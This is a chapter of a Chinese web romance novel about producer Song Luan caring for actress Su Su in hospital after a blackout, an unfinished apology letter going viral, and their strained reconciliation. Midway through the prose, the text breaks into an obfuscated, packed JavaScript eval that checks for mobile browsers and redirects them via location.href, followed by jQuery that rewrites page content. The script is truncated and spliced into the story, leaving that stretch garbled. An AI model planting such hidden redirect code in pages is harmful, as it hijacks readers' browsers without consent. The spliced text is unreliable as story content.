时间正值深夜，整层楼突然“啪”得一声全黑，备用电闸卡滞、推迟上线……
短短三十秒时间，病房所有的嗡鸣戛然而止，只剩了宋栾的心跳在耳膜里撞钟。
空气一瞬间被抽走了似的，宋栾手里的圆珠笔“当啷”落在地上，发出脆响声。
他身子一侧，着急的贴在苏素的床边上，双膝滑跪在了地上。
病床边上的钢板传来透骨的冷意，此刻顺着他的脸爬进了他的后脑。
幽闭恐惧像是潮水漫过他的头顶，他张着嘴却吸不到氧似的。
“素素，素素……你别怕。”宋栾攥着被子喃呢，字字发颤。
他的手指关节因此在苏素的耳侧，发出了“咯吱”几声指关节的声响。
苏素闻声轻声回了一句：“宋栾，我没事，你怎么在发抖？”
宋栾颤抖的左手大拇指点亮手机，屏幕的冷白光劈在了他瞬间汗湿的脸上。
他没有说话，快速把那张A4纸揉得发软，攥在了背着的手心里。
那是护士塞给他的“病情告知”背面，空白处此刻已经皱得不成样子。
苏素得不到他的回应，侧眸看着她手机的亮光，瞧见了他遗落在地上的圆珠笔。
“栾哥，你在……写什么？”
他很想告诉苏素，自己在写道歉信，可是他还没有写完。
刚刚他只是写下了【苏素，对不起，我……】
刚写到“我”字的时候，电量条闪红，屏幕一黑，世界彻底关机了。
黑暗像是一整块铅灌进喉咙，让宋栾不安的蜷成一团，额头抵着自己的膝盖。
此刻的他指节塞进嘴里死死咬住指尖，血腥味瞬间炸开。
一声呜咽被闷在他方骨缝里，他像是被活埋的人似的，推不开心里的棺材板。
他只能把哭喊嚼碎咽回肚里，连回声都不敢让苏素听到。
“没……没什么……” 宋栾心虚的话落地，灯刷地亮了。
摄像头重启，冷白灯管重新照出他狼狈的影子。
苏素眼中的他，汗透的衬衫黏在他方背，指节渗血，嘴角是一道猩红。
那张纸在他手里满是汗渍与墨水，三者混成了模糊的残影。
他不忍心让苏素担心，快速起身喃呢：“你安心睡，我出去一下，很快就回来。”
在走出病房的时候，宋栾一个人蹲在病房外，打开了纸张。
“为什么？为什么我连道歉都写不好？” 他沙哑着声音自言自语。
一分钟后，他站起身走去垃圾桶边上。
他没想到自己的一举一动，甚至是这张没写完的道歉信……
在三十分钟后，直接登顶了微博消息，阅读量破六亿。
他以为没人知道，在那三十秒里，他多想把剩下的句子写完了。
“我爱你，我不该把你一个人留在我们的回忆里，我不该让你自己站在刀锋上。”
——
次日，微博文娱榜的一切视频直接爆榜……
#宋栾未写完的情书#
#深夜为爱哽咽的宋制片人#
#宋栾偷吻昏睡的影后苏素#
一段0.5倍慢放的GIF，水珠顺着苏素的眼角滑落，宋栾俯身用唇角轻轻吻了下去。
两人的鼻尖摩擦在一起，苏素抬起手，顺其自然的抱住了宋栾。
情书、落泪视频、深夜偷吻，一连三杀，导致服务器陷入卡顿。
评论区混乱，烟花乱炸：
【我后面是什么，我爱你，还是比爱你还要重的话语。】
【偷吻！这是偷吻吧！可是……影后回应了呀！】
【我看到了什么？确定是吻了？还是后续限我流？】
【妈呀！镜头拉近0.1秒，我人都要没了。】
病房里，苏素被热搜的提示音吵醒，她盯着屏幕指尖划了几下。
下一秒，她翻看着道歉信，盯着那张被截帧的动图上。
昨晚……她的唇角，他的唇角，两人共同“吃着”对方的嘴唇。
望向宋栾正端着水杯站在床尾，她的耳尖瞬间红得能滴血。
“栾哥，你昨晚……你写了什么？”苏素声音沙哑，却带着必须知道的执拗。
宋栾走近她，把水杯放到柜面上，声音低得近乎气音：“我写了道歉信。”
“我……”宋栾顿了顿，把剩下的词句在舌尖碾碎，只是吐出了四个字：“我没写完。”
苏素因此忽然伸手，用指腹去碰自己被他“偷吻”的唇角，那里似乎还留着潮湿的烫。
她擦了一下，又擦第二下，直到那寸皮肤一阵阵的发疼。
“宋栾，我后面你想写什么？”她的声音很轻，却字字清晰：“别让我猜，我猜不到。”
宋栾闻言愣在原地，反应过来时，快速坐在床边上，拉住了她的右手。
“还能是什么，是我爱你，是我不能没有你，我希望你好好活着。
我的错误我会弥补，我才是那么最该死的人，是我对不起你和孩子。”
“……”
苏素听后沉默不语，瞧了一眼窗外被风摇曳的树梢，唇上被宋栾盖了一记亲吻。
病房的帘子没有拉严，光劈进来，正好落在她微颤的眼皮上。
苏素皱了皱眉，睫毛向上，眸子缓缓掀开，深黑……却空得照不见人。
——
宋栾亲吻她之后，端着水杯，手里的小勺悬在半空，勺尖颤出了一圈银光。
他屏住呼吸，害怕稍微出声就把苏素惊回到，以前回避他的地步。
“素素。”他低声哄人，声音无力道：“喝一口，就一口。”
苏素没有回答他，只是微微抬了抬下巴，动作极轻，却带着拒他千里的锋口。
宋栾见状将小勺丢进杯子，喝了一口水，快速俯身将唇角再度贴上她的唇角。
苏素后撤喘息间，宋栾空出的右手按着她的后颈，吻得深沉。
一滴将要滑落的水珠被宋栾的唇角无情抿走，接着狠狠地的堵住了她的唇。
在肌肤相触的一瞬间，他便听见苏素的呼吸很急促。
他们的血液几乎滚烫得想要冲破身体，然而下一秒……
苏素的嗓音劈开了静默：“不要……脏。”
宋栾听后僵在那里，唇上还留着她的湿意，他失落的后退了半步。
他垂下眼把水杯轻轻搁回桌面上，桌面与玻璃杯子相碰，脆得发冷。
“好。”宋栾说着努力牵了下嘴角，体面的到处了一句：“我出去洗到你说不脏为止。”
帘子被风吹得鼓起来，他的背影陷进了走廊的晨光。
宋栾的鞋跟踏在瓷砖上的声音极轻，脆响在他的胸腔里回荡不休。
苏素目送他离开，眸底渐渐起了一丝反应过来的波痕。
可是波痕很快沉下去，像是石头掉入深井，连回声都被黑暗吞没了。
宋栾走后的病房内，只剩下监护仪的“滴——滴——”声，在给她与空气续命。
盯着门口那道被晨光拉长的影子，苏素自言自语：“真是笨蛋。”
她抬手的指腹蹭过下唇，像要擦掉什么，又像要确认什么。
她的指尖带回一点湿意，带着他的气味——消毒水混着薄荷牙膏。
她觉得羞的陷入自卑，却莫名又感觉宋栾不嫌弃她，陷入了眼眶发热。
此刻的宋栾发颤得可怜，他像是做错事又怕被人丢掉的一条丧家之犬。
他唇角那点温度早已蒸发，只留下了比昨晚更加烫的错觉。
这感觉仿佛是在偷偷把苏素的名字写进他的身体，再一笔笔的划掉。
他来到走廊尽头，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16945884|189676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
水声骤然响起……
他站在洗手池前，龙头开到最大，冰冷的水柱砸在瓷盆，溅到他袖口、领口、眼皮。
他机械地搓洗双手，指节被搓得通红，依旧觉得不够，又俯身捧水扑脸。
冷水扑面那一刻，宋栾大口喘息，一次比一次狠心，却像要把自己剥下一层皮。
水珠顺着他下巴往下淌，分不清是自来水还是别的。
他抬眼看去。镜子里的自己面色惨白，唇角却肿着一点红。
那是刚才他亲吻时，苏素无意识咬过的，他伸手去擦，越擦越红，最后只能停下来。
盯着镜中的自己，宋栾声音嘶哑得可笑道：“素素，我不脏，我真的不脏。”
有一个护士经过他的身边，奇怪地看了他一眼。
他立刻低头让开路，任由水珠滴在地板，像是一串省略号，像昨晚未写完的道歉信。
他们之间的关系，从现在开始陷入了尚未开始，却依旧暧昧的模糊。
当宋栾回到病房的时候，心里的话像是要赶在理智前喊出口似的。
“素素，我回来了，我洗过脸了，我……”
“宋栾，我不是说你脏，我不是在说你。”
苏素打断他的话语，呼吸轻得连她自己都觉得无力。
“你能不能带我回家？我现在是不是不修边幅，是不是很丑啊？”
“……”
宋栾闻言沉默，这才想起来，自己是照顾她照顾的细心。
可是……苏素除了手术前一天洗漱过，这两天一直都躺着没有下来过一次。
“好，我现在就去问问医生，我去找医生问问。”
“宋栾，你等等……你先回来。”
四目相对，宋栾走到她的床边上，苏素打着留置针的手快速抓起了毛巾。
“先擦擦脸再去，别让医生看笑话。”她以平淡的语气说完，眼中骤然泛起水雾，难受的哽咽道：“你傻不傻啊？水那么冷，你怎么弄得到处都是？”
“我还不是怕你嫌弃我，我就想着快点洗干净回来见你。”
宋栾接过毛巾，俯下身靠近她，不顾自己脸上和衬衣上的水，提着一口气为她擦拭。
“不哭了行不行？你这样……我怎么放心出去找医生？
你知不知道你拔氧气管时，我当时我……我也不想活了。”
宋栾攥着毛巾断断续续说尽，垂眸喘息间，滑落鼻尖的水滴不知是泪、还是水？
苏素盯着他那张布满水珠的脸，清醒的看到他的眼角泪水滚滚而落。
第二天温度骤降，星海市初雪，雪意正浓……
一株冬红果立在玻璃窗外，枝条被雪压弯，倔强地挑起了一簇簇亮得发烫的小红果。
病房里暖气低嗡，消毒水味被淡淡的果香盖过去——那是他外套上沾来的户外寒气。
苏素穿着宽大的病号服，指尖还留着输液后的凉意，整个人像被雪夜抽走颜色。
宋栾一言不发，把她整个圈进怀里，稳稳地户主了她微不可察的发颤与寒冷。
感受着她的额头抵在自己的肩线，她正在看那株冬红果在雪光里，燃成的一团火。
宋栾的掌心覆在她的后颈，温度一点点渗进她的皮肤，而后快速一把抱起了她。
“医生说你第一天下床行走，不可以久站。”宋栾低声提醒她。
她抬眸之后目光再一次看向了室外的飘雪，与挂在那树上的红果上。
它们倔强得近乎任性，偏要在这万物失声的季节里，把颜色烧到最后一刻。
“算了，我抱着你再看一会儿。”宋栾把她往怀里抱了抱，以公主抱的方式，守护她。
苏素因此把脸埋进他的胸口，轻轻吸了一口气。
她不是不爱宋栾了，只是像那一簇簇不肯熄灭的冬红果，一并藏进了心中的雪地里。